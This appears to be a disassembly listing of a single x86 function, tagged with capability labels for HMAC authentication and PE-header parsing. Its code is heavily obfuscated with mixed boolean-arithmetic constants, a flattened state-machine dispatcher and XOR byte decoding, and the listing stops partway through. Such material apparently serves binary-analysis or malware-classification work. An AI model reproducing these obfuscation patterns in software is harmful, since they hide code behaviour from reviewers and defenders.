Function at 0x1003a660
Capabilities:
Authenticate hmac
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x144
mov eax, dword [0x101d0fc8]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x101cc5ec]
mov edx, dword [0x101cc5f0]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov esi, 0xffffffff
xor esi, 0x5c256e1d
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x5c256e1d
or eax, 0x5c256e1d
imul eax, edx
add eax, ecx
mov ecx, 0xe37cc044
xor edx, edx
div ecx
xor eax, 0xcc41cee
sub eax, 0x50c6c501
mov ecx, 0x65e25558
xor edx, edx
div ecx
and eax, 0x75e58dc4
mov ecx, eax
xor ecx, 0xffffffff
mov dword [ebp - 0x28], ecx
mov esi, 0xffffffff
xor esi, 0xd71f60c5
mov edx, 0xffffffff
xor edx, 0xcd0c9ca
and ecx, 0xcd0c9ca
and eax, edx
mov edi, esi
and edi, 0xcd0c9ca
mov ebx, edx
and ebx, 0xd71f60c5
or ecx, eax
mov eax, dword [ebp - 0x28]
or edi, ebx
xor ecx, edi
or eax, esi
xor eax, 0xffffffff
or edx, 0xcd0c9ca
and eax, edx
or ecx, eax
or ecx, 0xf0523c0
xor ecx, 0x308f43e5
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0x39ec687f
or edx, 0x39ec687f
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
or ecx, 0x39ec687f
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0xe38cd943
xor edx, edx
div ecx
sub eax, 0x617c58b2
add eax, 0xc1df7e67
add eax, 0x617c58b2
mov esi, 0xffffffff
xor esi, 0xbdae0ad4
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xbdae0ad4
or eax, 0xbdae0ad4
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0x2ea8d56e
mov edx, 0xffffffff
xor edx, 0x2ea8d56e
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, 0x1998a018
xor edx, edx
div ecx
or eax, 0x93d9ed46
imul eax, eax, 0xb1fd77d8
xor ecx, ecx
sub ecx, 0x63e4ad1
add eax, ecx
mov ecx, 0x7ca73fe5
xor edx, edx
div ecx
mov ecx, 0xe714b537
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0x8a4ce48f
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x24], eax
mov esi, 0xffffffff
xor esi, 0xa04cfbf6
mov edx, 0xffffffff
xor edx, 0xc8c2beee
and eax, 0xc8c2beee
and ecx, edx
mov edi, esi
and edi, 0xc8c2beee
mov ebx, edx
and ebx, 0xa04cfbf6
or eax, ecx
mov ecx, dword [ebp - 0x24]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xc8c2beee
and ecx, edx
or eax, ecx
add eax, 0xa8034877
mov edx, 0xffffffff
xor edx, 0x6fd4a822
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x6fd4a822
add eax, edx
sub eax, ecx
mov ecx, 0x199cc9ad
xor edx, edx
div ecx
or eax, 0xd0a9b1a6
mov ecx, 0x7393d7ea
xor edx, edx
div ecx
sub eax, 0x7d7b30a3
mov ecx, 0xb8d56e39
xor edx, edx
div ecx
and eax, 0xc279a1c9
mov ecx, 0x1562b7f1
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0x9db0f1a0
mov edx, 0xffffffff
xor edx, 0x9db0f1a0
and ecx, edx
shl ecx, 1
sub ecx, eax
add ecx, 0x12356f8
add ecx, 0x7021b5f6
and ecx, 0xbcf2e562
and ecx, 0xb275d492
mov eax, ecx
and eax, 0x934a3c1f
xor ecx, 0x934a3c1f
or eax, ecx
xor eax, 0xa9ad27df
mov ecx, eax
and ecx, 0xcb188f0
shl ecx, 1
xor eax, 0xcb188f0
add eax, ecx
mov dword [ebp - 0x14], 0x5f494d45
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x18], ecx
mov ecx, eax
and ecx, 0x1a4a8304
shl ecx, 1
xor eax, 0x1a4a8304
add eax, ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x2c], eax
sub eax, 0x83cd484f
je 0x1003eb26
jmp 0x1003a929
mov eax, dword [ebp - 0x2c]
sub eax, 0xbcb92195
je 0x1003b4a6
jmp 0x1003a93c
mov eax, dword [ebp - 0x2c]
sub eax, 0xcd0892ba
je 0x1003e650
jmp 0x1003a94f
mov eax, dword [ebp - 0x2c]
sub eax, 0xd1224891
je 0x1003fd55
jmp 0x1003a962
mov eax, dword [ebp - 0x2c]
sub eax, 0xd26a3df2
je 0x1003e36f
jmp 0x1003a975
mov eax, dword [ebp - 0x2c]
sub eax, 0xdda22103
je 0x1004609d
jmp 0x1003a988
mov eax, dword [ebp - 0x2c]
sub eax, 0xe0b03423
je 0x1003adfd
jmp 0x1003a99b
mov eax, dword [ebp - 0x2c]
sub eax, 0xe2451347
je 0x1003b0e1
jmp 0x1003a9ae
mov eax, dword [ebp - 0x2c]
sub eax, 0x11a86493
je 0x10040036
jmp 0x1003a9c1
mov eax, dword [ebp - 0x2c]
sub eax, 0x247a0f2d
je 0x10040048
jmp 0x1003a9d4
mov eax, dword [ebp - 0x2c]
sub eax, 0x254fee0f
je 0x1003ade0
jmp 0x1003a9e7
mov eax, dword [ebp - 0x2c]
sub eax, 0x40e1f203
je 0x100438d6
jmp 0x1003a9fa
mov eax, dword [ebp - 0x2c]
sub eax, 0x42d47ce7
je 0x100460b7
jmp 0x1003aa0d
mov eax, dword [ebp - 0x2c]
sub eax, 0x462d176c
je 0x1003aaca
jmp 0x1003aa20
mov eax, dword [ebp - 0x2c]
sub eax, 0x47693661
je 0x1003e8e5
jmp 0x1003aa33
mov eax, dword [ebp - 0x2c]
sub eax, 0x5d18fb49
je 0x1003e15f
jmp 0x1003aa46
mov eax, dword [ebp - 0x2c]
sub eax, 0x5f494d45
je 0x1003aaaa
jmp 0x1003aa59
mov eax, dword [ebp - 0x2c]
sub eax, 0x67263fc2
je 0x100427d8
jmp 0x1003aa6c
mov eax, dword [ebp - 0x2c]
sub eax, 0x760fa403
je 0x1003facc
jmp 0x1003aa7f
mov eax, dword [ebp - 0x2c]
sub eax, 0x775dbfe7
je 0x1003e8d7
jmp 0x1003aa92
mov eax, dword [ebp - 0x2c]
sub eax, 0x79eb369e
je 0x100438b6
jmp 0x1003aaa5
jmp 0x100460cc
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x20]
mov ecx, 0x462d176c
mov edx, 0x79eb369e
cmp esi, 0xca5474d7
cmove ecx, edx
mov dword [eax], ecx
jmp 0x100460cc
mov ecx, dword [0x101cc5f4]
mov edx, dword [0x101cc5f8]
mov esi, ecx
xor esi, edx
xor esi, 0xffffffff
mov eax, edx
and eax, esi
shl eax, 1
sub eax, edx
sub ecx, eax
mov eax, ecx
and eax, 0x32c243b
xor eax, 0xffffffff
add ecx, 0x32c243b
add ecx, 1
add ecx, eax
mov eax, ecx
xor eax, 0xb081ae2
xor eax, 0xffffffff
and eax, 0xb081ae2
shl eax, 1
sub eax, 0xb081ae2
sub ecx, eax
xor ecx, 0x3f4a59fc
and ecx, 0x40ed92a3
mov eax, ecx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, 0x58e4cab2
or ecx, 0x58e4cab2
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
or eax, 0x89461839
mov edx, eax
xor edx, 0xffffffff
and edx, 0xbeac9d97
mov esi, 0xffffffff
xor esi, 0xbeac9d97
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0xbeac9d97
or eax, 0xbeac9d97
imul eax, edx
add eax, ecx
mov ecx, eax
xor ecx, 0xe17b772b
xor ecx, 0xffffffff
and ecx, 0xe17b772b
shl ecx, 1
sub ecx, 0xe17b772b
sub eax, ecx
or eax, 0xe785dd2
sub eax, 0x85ac2aa7
imul eax, eax, 0x9f829b88
mov ecx, 0x191203ee
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0x18dce79f
or edx, 0x18dce79f
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x18dce79f
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, eax
and ecx, 0xc9a1bb39
shl ecx, 1
xor eax, 0xc9a1bb39
add eax, ecx
xor eax, 0xaa6b2a2f
mov ecx, 0x80d2c47c
xor edx, edx
div ecx
mov ecx, eax
mov edx, 0xffffffff
xor edx, 0x39cd7c04
mov eax, ecx
xor eax, edx
and eax, ecx
add eax, 0x9bf77189
xor ecx, ecx
sub ecx, 0x56f9ef29
add eax, ecx
add eax, 0xbbb687bb
mov esi, 0xffffffff
xor esi, 0x7fa4a5ad
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x7fa4a5ad
or eax, 0x7fa4a5ad
imul eax, edx
add eax, ecx
mov esi, 0xffffffff
xor esi, 0x2c368a48
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x2c368a48
or eax, 0x2c368a48
imul eax, edx
add eax, ecx
imul eax, eax, 0xa95b6bb9
mov ecx, eax
xor ecx, 0xe7c04893
xor ecx, 0xffffffff
or eax, 0xe7c04893
and eax, ecx
mov ecx, 0x8e6c47c1
xor edx, edx
div ecx
mov esi, 0xffffffff
xor esi, 0x4c76149d
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x4c76149d
or eax, 0x4c76149d
imul eax, edx
add eax, ecx
or eax, eax
xor eax, 0xffffffff
mov ecx, 0x621a870c
or ecx, 0x621a870c
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
imul eax, eax, 0x9f63bb21
or eax, 0x432de3d8
add eax, 0x4e0d2ba9
imul eax, eax, 0x98116517
mov ecx, eax
xor ecx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0x6d2cb377
mov esi, 0xffffffff
xor esi, 0x8fdb930e
mov edx, ecx
and edx, 0x8fdb930e
and eax, esi
mov dword [ebp - 0x38], eax
mov ebx, edi
and ebx, 0x8fdb930e
mov eax, esi
and eax, 0x6d2cb377
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x38]
or edx, eax
mov eax, dword [ebp - 0x34]
or ebx, eax
mov eax, dword [ebp - 0x1c]
xor edx, ebx
or ecx, edi
xor ecx, 0xffffffff
or esi, 0x8fdb930e
and ecx, esi
or edx, ecx
mov ecx, edx
xor ecx, 0x1835b27b
xor ecx, 0xffffffff
and ecx, 0x1835b27b
shl ecx, 1
sub ecx, 0x1835b27b
sub edx, ecx
mov ecx, edx
and ecx, 0x7b4dbc4c
xor ecx, 0xffffffff
and edx, 0x7b4dbc4c
xor edx, 0xffffffff
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
or ecx, 0xfef6de1a
xor edx, edx
sub edx, 0x96dfb62a
sub ecx, edx
sub ecx, 0x95ce1046
sub ecx, 0xee62209a
or ecx, 0xa38aa25e
imul esi, ecx, 0xb94c419e
cmp dword [0x101d2538], 0
sete cl
mov byte [ebp - 0x2d], cl
mov ecx, 0x254fee0f
mov edx, 0x79eb369e
cmp esi, 0xcfa2bba0
cmove ecx, edx
mov dword [eax], ecx
jmp 0x100460cc
mov eax, dword [ebp - 0x1c]
mov bl, byte [ebp - 0x2d]
mov ecx, 0x47693661
mov edx, 0xe0b03423
test bl, 1
cmovne ecx, edx
mov dword [eax], ecx
jmp 0x100460cc
mov eax, dword [0x101cc5fc]
mov edx, dword [0x101cc600]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
or eax, 0xdf4a7916
mov ecx, 0x6e730e1c
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x94523b82
xor ecx, 0xffffffff
and ecx, 0x94523b82
shl ecx, 1
sub ecx, 0x94523b82
sub eax, ecx
mov ecx, 0x2505795a
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x6d897a10
sub ecx, 0xb6c31f3e
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0x1baab87f
or edx, 0x1baab87f
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x1baab87f
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
or eax, 0xf2383262
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0xbb6b3969
add ecx, eax
xor eax, eax
sub eax, ecx
add eax, 0x41266aec
add eax, 0x2cf4ba61
sub eax, 0x41266aec
imul ecx, eax, 0xea76603f
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xfc5f084f
mov esi, 0xffffffff
xor esi, 0xfc5f084f
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0xfc5f084f
or ecx, 0xfc5f084f
imul ecx, edx
add ecx, eax
sub ecx, 0xc30c9ce9
add ecx, 0xb7a85d0e
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xcddc5c61
or eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xcddc5c61
or ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
mov ecx, 0xffffffff
xor ecx, 0x730095d0
add eax, ecx
add eax, 1
mov ecx, 0xacc18c09
xor edx, edx
div ecx
imul eax, eax, 0x1778e5ce
mov edx, eax
xor edx, 0xffffffff
and edx, 0x9b622559
mov esi, 0xffffffff
xor esi, 0x9b622559
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x9b622559
or eax, 0x9b622559
imul eax, edx
add eax, ecx
xor eax, 0x4255df94
sub eax, 0x20e22c03
mov ecx, 0x3fd95a06
xor edx, edx
div ecx
sub eax, 0xef04e300
add eax, 0x23c84f6b
add eax, 0xef04e300
mov ecx, eax
xor ecx, 0xb0e3e223
xor ecx, 0xffffffff
and ecx, 0xb0e3e223
shl ecx, 1
sub ecx, 0xb0e3e223
sub eax, ecx
mov esi, 0xffffffff
xor esi, 0x6ee63f0e
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x6ee63f0e
or eax, 0x6ee63f0e
imul eax, edx
add eax, ecx
add eax, 0x3bb0ec7f
add eax, 0x77e24e5a
sub eax, 0x3bb0ec7f
mov esi, 0xffffffff
xor esi, 0x5ca5bbfd
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x5ca5bbfd
or eax, 0x5ca5bbfd
imul eax, edx
add eax, ecx
xor eax, 0xcc8785f2
mov ecx, 0x26115801
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, 0xdc86d0b
sub eax, ecx
mov ecx, 0x707f6db4
xor edx, edx
div ecx
imul eax, eax, 0xc5fb66b9
mov ecx, 0x468a8ae6
xor edx, edx
div ecx
mov ecx, 0x3d136773
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
xor esi, 0x8acba6d0
xor esi, 0x12882475
mov ecx, esi
xor ecx, 0x80fe3b4d
xor ecx, 0xffffffff
or esi, 0x80fe3b4d
and esi, ecx
mov edx, esi
xor edx, 0xffffffff
and edx, 0xa35db71e
mov edi, 0xffffffff
xor edi, 0xa35db71e
mov ecx, esi
and ecx, edi
imul ecx, edx
mov edx, esi
and edx, 0xa35db71e
or esi, 0xa35db71e
imul esi, edx
add esi, ecx
sub esi, 0x2884902c
mov edi, 0xffffffff
xor edi, 0xde72909b
mov edx, esi
and edx, edi
mov ecx, esi
or ecx, edi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, esi
and edx, 0xde72909b
or esi, 0xde72909b
imul esi, edx
add esi, ecx
mov ecx, 0xe2451347
mov edx, 0x247a0f2d
cmp esi, 0x36ccf08c
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x100460cc
mov ecx, dword [0x101cc604]
imul ecx, dword [0x101cc608]
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x42f964bd
mov eax, 0xffffffff
xor eax, 0x8687d131
or ecx, edx
or eax, 0x8687d131
xor ecx, 0xffffffff
and ecx, eax
mov eax, ecx
or eax, 0xb68fe7e5
xor eax, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xb68fe7e5
and ecx, edx
or eax, ecx
xor eax, 0xffffffff
or eax, 0x4a3d8
add eax, 0xd12839bb
mov ecx, 0x828cf9e
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x3e8248aa
mov edx, 0xffffffff
xor edx, 0x3e8248aa
and ecx, edx
or eax, ecx
imul ecx, eax, 0x212cef62
xor ecx, 0x2a7ebf6e
sub ecx, 0xff62c790
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x93a6df66
mov esi, 0xffffffff
xor esi, 0x93a6df66
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x93a6df66
or ecx, 0x93a6df66
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf787e7d1
or eax, edx
mov edx, 0xffffffff
xor edx, 0xf787e7d1
mov esi, 0xffffffff
xor esi, 0xf787e7d1
or edx, esi
and ecx, edx
xor ecx, 0xffffffff
and eax, ecx
xor eax, 0xffffffff
imul eax, eax, 0xdc256875
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x27a5c33b
mov edx, 0xffffffff
xor edx, 0x27a5c33b
and eax, edx
or ecx, eax
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0xd805b89e
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xa6e83bd9
or eax, edx
and ecx, 0xa6e83bd9
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
and eax, 0x2f0b52d5
mov ecx, eax
xor ecx, 0xffffffff
mov edx, eax
xor edx, 0xffffffff
and ecx, edx
mov edx, 0xffffffff
xor edx, 0xdadf2414
mov esi, 0xffffffff
xor esi, 0xdadf2414
and edx, esi
or ecx, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xdadf2414
and eax, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
sub ecx, 0xef98ac5c
mov eax, ecx
and eax, 0x2eb5334d
shl eax, 1
xor ecx, 0x2eb5334d
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xffcdd59f
and eax, edx
or ecx, 0xffcdd59f
xor ecx, 0xffffffff
or eax, ecx
xor eax, 0xffffffff
mov ecx, 0x8bb87212
xor edx, edx
div ecx
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x618f7c31
add ecx, eax
xor eax, eax
sub eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xe999b4ea
mov ecx, 0xffffffff
xor ecx, 0xcd01cc6
or eax, edx
or ecx, 0xcd01cc6
xor eax, 0xffffffff
and eax, ecx
mov ecx, 0x72c883e5
xor edx, edx
div ecx
xor eax, 0xc63dac40
and eax, 0x3620c20f
imul eax, eax, 0x1a75c154
and eax, 0x386743b9
mov ecx, eax
and ecx, 0x5158ea82
shl ecx, 1
xor eax, 0x5158ea82
add eax, ecx
or eax, 0x3ce38180
add eax, 0xbcfccd47
mov ecx, eax
xor ecx, 0x6ab41385
xor ecx, 0xffffffff
or eax, 0x6ab41385
and eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x3d5bf2ab
mov edx, 0xffffffff
xor edx, 0x9e90a20f
mov edi, ecx
and edi, 0x9e90a20f
and eax, edx
mov dword [ebp - 0x40], eax
mov ebx, esi
and ebx, 0x9e90a20f
mov eax, edx
and eax, 0x3d5bf2ab
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x40]
or edi, eax
mov eax, dword [ebp - 0x3c]
or ebx, eax
mov eax, dword [ebp - 0x1c]
xor edi, ebx
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x9e90a20f
and ecx, edx
or edi, ecx
add edi, 0x12da61ad
add edi, 0x58ddb96d
sub edi, 0x12da61ad
mov edx, 0xffffffff
xor edx, 0xf1e5353a
mov ecx, edi
and ecx, edx
mov edx, edi
xor edx, 0xf1e5353a
add edi, edx
sub edi, ecx
mov edx, edi
xor edx, 0xffffffff
and edx, 0xcc815ada
mov esi, 0xffffffff
xor esi, 0xcc815ada
mov ecx, edi
and ecx, esi
imul ecx, edx
mov edx, edi
and edx, 0xcc815ada
or edi, 0xcc815ada
imul edi, edx
add edi, ecx
xor edi, 0x18bb98ba
mov edx, edi
xor edx, 0xffffffff
and edx, 0x7ef4d4c2
mov esi, 0xffffffff
xor esi, 0x7ef4d4c2
mov ecx, edi
and ecx, esi
imul ecx, edx
mov edx, edi
and edx, 0x7ef4d4c2
or edi, 0x7ef4d4c2
imul edi, edx
add edi, ecx
mov edx, edi
xor edx, 0xffffffff
and edx, 0x62a25768
mov esi, 0xffffffff
xor esi, 0x62a25768
mov ecx, edi
and ecx, esi
imul ecx, edx
mov edx, edi
and edx, 0x62a25768
or edi, 0x62a25768
imul edi, edx
add edi, ecx
mov esi, edi
xor esi, 0xffffffff
and esi, 0x4f0b79d3
mov edx, 0xffffffff
xor edx, 0x4f0b79d3
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0x44827c87
and ecx, 0x4f0b79d3
and edx, 0x44827c87
or esi, edi
or ecx, edx
xor esi, ecx
mov ecx, 0xbcb92195
mov edx, 0x40e1f203
cmp esi, 0xc70e6b4d
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x100460cc
mov eax, dword [0x101cc60c]
xor edx, edx
div dword [0x101cc610]
mov esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x6047f5e9
mov edx, 0xffffffff
xor edx, 0x6047f5e9
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x2babb8ce
and ecx, 0x6047f5e9
and edx, 0x2babb8ce
or eax, esi
or ecx, edx
xor eax, ecx
mov ecx, 0xaca3b539
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
and eax, 0x7042251e
xor eax, 0xffffffff
add ecx, 0x7042251e
add ecx, 1
add ecx, eax
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x1c8dcae4
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, ecx
and eax, 0x3f5ef79
or ecx, 0x3f5ef79
add eax, ecx
add eax, 0x907aa05d
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x40deb891
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, eax
xor ecx, 0xa8407f9a
xor ecx, 0xffffffff
or eax, 0xa8407f9a
and eax, ecx
and eax, 0x6c5cd13b
mov ecx, 0x2d869b10
xor edx, edx
div ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x2f9dd40f
add eax, ecx
imul eax, eax, 0x200327b
mov ecx, eax
xor ecx, 0xffffffff
mov edi, 0xffffffff
xor edi, 0xdbb02bfa
mov esi, 0xffffffff
xor esi, 0xbba310e
mov edx, ecx
and edx, 0xbba310e
and eax, esi
mov dword [ebp - 0x48], eax
mov ebx, edi
and ebx, 0xbba310e
mov eax, esi
and eax, 0xdbb02bfa
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x48]
or edx, eax
mov eax, dword [ebp - 0x44]
or ebx, eax
mov eax, dword [ebp - 0x1c]
xor edx, ebx
or ecx, edi
xor ecx, 0xffffffff
or esi, 0xbba310e
and ecx, esi
or edx, ecx
add edx, 0x1077e467
add edx, 0x250e335d
sub edx, 0x1077e467
mov ecx, edx
or ecx, ecx
xor ecx, 0xffffffff
mov esi, 0xd19437e2
or esi, 0xd19437e2
xor esi, 0xffffffff
or ecx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xd19437e2
and edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
and ecx, edx
mov esi, ecx
xor esi, 0xffffffff
and esi, 0x13be729e
mov edi, 0xffffffff
xor edi, 0x13be729e
mov edx, ecx
and edx, edi
imul edx, esi
mov esi, ecx
and esi, 0x13be729e
or ecx, 0x13be729e
imul ecx, esi
add ecx, edx
mov esi, 0xffffffff
xor esi, 0xfac83cd8
mov edx, ecx
xor edx, esi
and edx, ecx
mov ecx, edx
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
mov edx, 0xffffffff
xor edx, 0xc557bf74
mov esi, 0xffffffff
xor esi, 0xc557bf74
or edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xfb1a2088
mov esi, 0xffffffff
xor esi, 0xfb1a2088
and ecx, esi
or edx, ecx
sub edx, 0xd2b92598
mov ecx, edx
xor ecx, 0xffffffff
and ecx, 0x20df7dbe
mov esi, 0xffffffff
xor esi, 0x20df7dbe
and edx, esi
or ecx, edx
mov edi, 0xffffffff
xor edi, 0x92597588
mov esi, ecx
and esi, edi
mov edx, ecx
or edx, edi
xor edx, 0xffffffff
imul edx, esi
mov esi, ecx
and esi, 0x92597588
or ecx, 0x92597588
imul ecx, esi
add ecx, edx
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x77822c02
mov esi, 0xffffffff
xor esi, 0x77822c02
and ecx, esi
or edx, ecx
xor ecx, ecx
sub ecx, edx
xor edx, edx
sub edx, 0xf0acda90
add ecx, edx
xor edi, edi
sub edi, ecx
mov edx, edi
xor edx, 0xffffffff
and edx, 0x8790a033
mov esi, 0xffffffff
xor esi, 0x8790a033
mov ecx, edi
and ecx, esi
imul ecx, edx
mov edx, edi
and edx, 0x8790a033
or edi, 0x8790a033
imul edi, edx
add edi, ecx
mov ecx, edi
and ecx, 0xcd31085f
xor ecx, 0xffffffff
add edi, 0xcd31085f
add edi, 1
add edi, ecx
add edi, 0x1e154eb9
xor edi, 0x8f198078
mov esi, edi
xor esi, 0xffffffff
and esi, 0xf964c12c
mov edx, 0xffffffff
xor edx, 0xf964c12c
and edi, edx
mov ecx, 0xffffffff
xor ecx, 0xbd8a7dca
and ecx, 0xf964c12c
and edx, 0xbd8a7dca
or esi, edi
or ecx, edx
xor esi, ecx
xor esi, 0xa37ea56f
mov ecx, esi
and ecx, 0xb6b57692
shl ecx, 1
add esi, 0xb6b57692
sub esi, ecx
xor esi, 0xab151091
xor esi, 0x319b84e2
add esi, 0xdb3e101f
xor esi, 0xc76be3da
mov edx, esi
xor edx, 0xffffffff
and edx, 0xad080f1d
mov edi, 0xffffffff
xor edi, 0xad080f1d
mov ecx, esi
and ecx, edi
imul ecx, edx
mov edx, esi
and edx, 0xad080f1d
or esi, 0xad080f1d
imul esi, edx
add esi, ecx
mov ecx, esi
xor ecx, 0xffffffff
and ecx, 0xb9080dc7
mov edx, 0xffffffff
xor edx, 0xb9080dc7
and esi, edx
sub esi, ecx
add esi, 0x6b9d8dca
or esi, 0x5e2f3a62
mov edx, esi
xor edx, 0xffffffff
and edx, 0xb064082b
mov edi, 0xffffffff
xor edi, 0xb064082b
mov ecx, esi
and ecx, edi
imul ecx, edx
mov edx, esi
and edx, 0xb064082b
or esi, 0xb064082b
imul esi, edx
add esi, ecx
mov dl, byte [0x101cb04e]
mov cl, dl
and cl, cl
xor cl, 0xff
and cl, 0xb2
xor cl, 0xff
mov ch, 0xb2
and ch, 0xb2
xor ch, 0xff
and dl, ch
xor dl, 0xff
and cl, dl
xor cl, 0xff
mov byte [0x101cb05b], cl
mov dl, byte [0x101cb04f]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0x29
or cl, ch
mov ch, 0xff
xor ch, 0x29
mov dh, 0xff
xor dh, 0x29
or ch, dh
xor dl, 0xff
xor ch, 0xff
or dl, ch
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb05c], cl
mov dl, byte [0x101cb050]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
or cl, ch
xor cl, 0xff
mov ch, 0xff
xor ch, 0xea
or cl, ch
mov ch, 0xff
xor ch, 0xea
mov dh, 0xff
xor dh, 0xea
or ch, dh
and dl, ch
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
or cl, dl
mov byte [0x101cb05d], cl
mov cl, byte [0x101cb051]
xor cl, 0xc6
